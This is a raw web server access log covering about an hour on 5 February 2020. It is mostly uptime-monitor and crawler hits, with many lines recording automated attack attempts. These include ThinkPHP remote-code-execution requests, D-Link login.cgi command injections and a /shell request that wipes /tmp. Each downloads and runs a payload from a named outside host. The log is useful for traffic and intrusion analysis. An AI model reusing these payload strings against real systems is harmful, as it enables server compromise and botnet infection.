212.91.246.72 - - [05/Feb/2020:20:08:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:09:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [05/Feb/2020:20:09:58 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
110.177.77.103 - - [05/Feb/2020:20:10:06 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
175.152.111.143 - - [05/Feb/2020:20:10:08 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
117.14.152.42 - - [05/Feb/2020:20:10:08 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
1.202.113.203 - - [05/Feb/2020:20:10:10 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.206.199.103 - - [05/Feb/2020:20:10:11 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.158.60.27 - - [05/Feb/2020:20:10:11 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
122.96.73.28 - - [05/Feb/2020:20:10:11 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
36.32.3.49 - - [05/Feb/2020:20:10:13 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
111.162.144.146 - - [05/Feb/2020:20:10:16 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
183.80.248.22 - - [05/Feb/2020:20:10:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:20:10:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:11:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:12:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:13:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:14:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [05/Feb/2020:20:15:11 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
118.71.13.226 - - [05/Feb/2020:20:15:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:20:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.110.238.149 - - [05/Feb/2020:20:17:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.168.227.113 - - [05/Feb/2020:20:17:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:20:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.33.99 - - [05/Feb/2020:20:18:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:20:18:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.76.156 - - [05/Feb/2020:20:19:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:20:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:20:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.184.232 - - [05/Feb/2020:20:20:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:20:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
75.148.96.189 - - [05/Feb/2020:20:23:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
42.112.255.175 - - [05/Feb/2020:20:23:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.184.222.233 - - [05/Feb/2020:20:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:20:23:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:24:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.72.148.206 - - [05/Feb/2020:20:25:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
222.186.19.221 - - [05/Feb/2020:20:25:40 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [05/Feb/2020:20:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.81 - - [05/Feb/2020:20:25:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [05/Feb/2020:20:26:23 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [05/Feb/2020:20:26:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:27:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:28:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:29:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [05/Feb/2020:20:30:39 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [05/Feb/2020:20:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:31:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.107.84 - - [05/Feb/2020:20:32:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:20:32:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [05/Feb/2020:20:33:06 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [05/Feb/2020:20:33:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.29.161 - - [05/Feb/2020:20:34:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:20:34:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:35:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.219.23.166 - - [05/Feb/2020:20:35:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.43.41 - - [05/Feb/2020:20:35:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.161.99.72 - - [05/Feb/2020:20:36:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [05/Feb/2020:20:36:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [05/Feb/2020:20:36:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:20:36:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [05/Feb/2020:20:37:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [05/Feb/2020:20:37:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:20:37:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.178.102.98 - - [05/Feb/2020:20:38:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
213.19.20.170 - - [05/Feb/2020:20:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:20:38:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [05/Feb/2020:20:38:53 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [05/Feb/2020:20:39:02 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [05/Feb/2020:20:39:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [05/Feb/2020:20:39:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.68.91.235 - - [05/Feb/2020:20:40:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:20:40:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.121.183.180 - - [05/Feb/2020:20:41:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:20:41:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:42:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.70 - - [05/Feb/2020:20:43:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:20:43:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.42.89.193 - - [05/Feb/2020:20:44:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:20:44:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [05/Feb/2020:20:44:56 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [05/Feb/2020:20:45:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.191.145.125 - - [05/Feb/2020:20:46:37 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01732016 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
183.80.122.222 - - [05/Feb/2020:20:46:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:20:46:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:47:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.122 - - [05/Feb/2020:20:48:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:20:48:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:49:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:50:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:51:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.174.216 - - [05/Feb/2020:20:51:53 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
175.35.173.108 - - [05/Feb/2020:20:52:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:20:52:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:53:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.69.14 - - [05/Feb/2020:20:54:23 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.69.14 - - [05/Feb/2020:20:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.69.10 - - [05/Feb/2020:20:54:33 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "-" "Googlebot-Image/1.0"
212.91.246.72 - - [05/Feb/2020:20:54:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.25.250.178 - - [05/Feb/2020:20:55:14 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.25.250.178 - - [05/Feb/2020:20:55:14 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.25.250.178 - - [05/Feb/2020:20:55:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:20:55:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.176.194.96 - - [05/Feb/2020:20:56:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:20:56:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.113.73.73 - - [05/Feb/2020:20:56:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:20:57:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.174.216 - - [05/Feb/2020:20:57:55 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [05/Feb/2020:20:58:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.174.216 - - [05/Feb/2020:20:59:37 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [05/Feb/2020:20:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:00:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.124.214.122 - - [05/Feb/2020:21:01:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
113.22.67.92 - - [05/Feb/2020:21:01:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:01:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.242.181 - - [05/Feb/2020:21:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:21:02:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.49.243 - - [05/Feb/2020:21:03:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:03:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.118.229.204 - - [05/Feb/2020:21:04:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.9.75.7 - - [05/Feb/2020:21:04:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:21:04:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.174.216 - - [05/Feb/2020:21:04:59 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
113.105.206.60 - - [05/Feb/2020:21:05:27 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
58.58.7.106 - - [05/Feb/2020:21:05:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:21:05:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:21:06:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.150.22 - - [05/Feb/2020:21:07:31 +0100] "GET /seiten/databund.html HTTP/1.1" 404 337 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
197.245.105.140 - - [05/Feb/2020:21:07:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:21:07:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
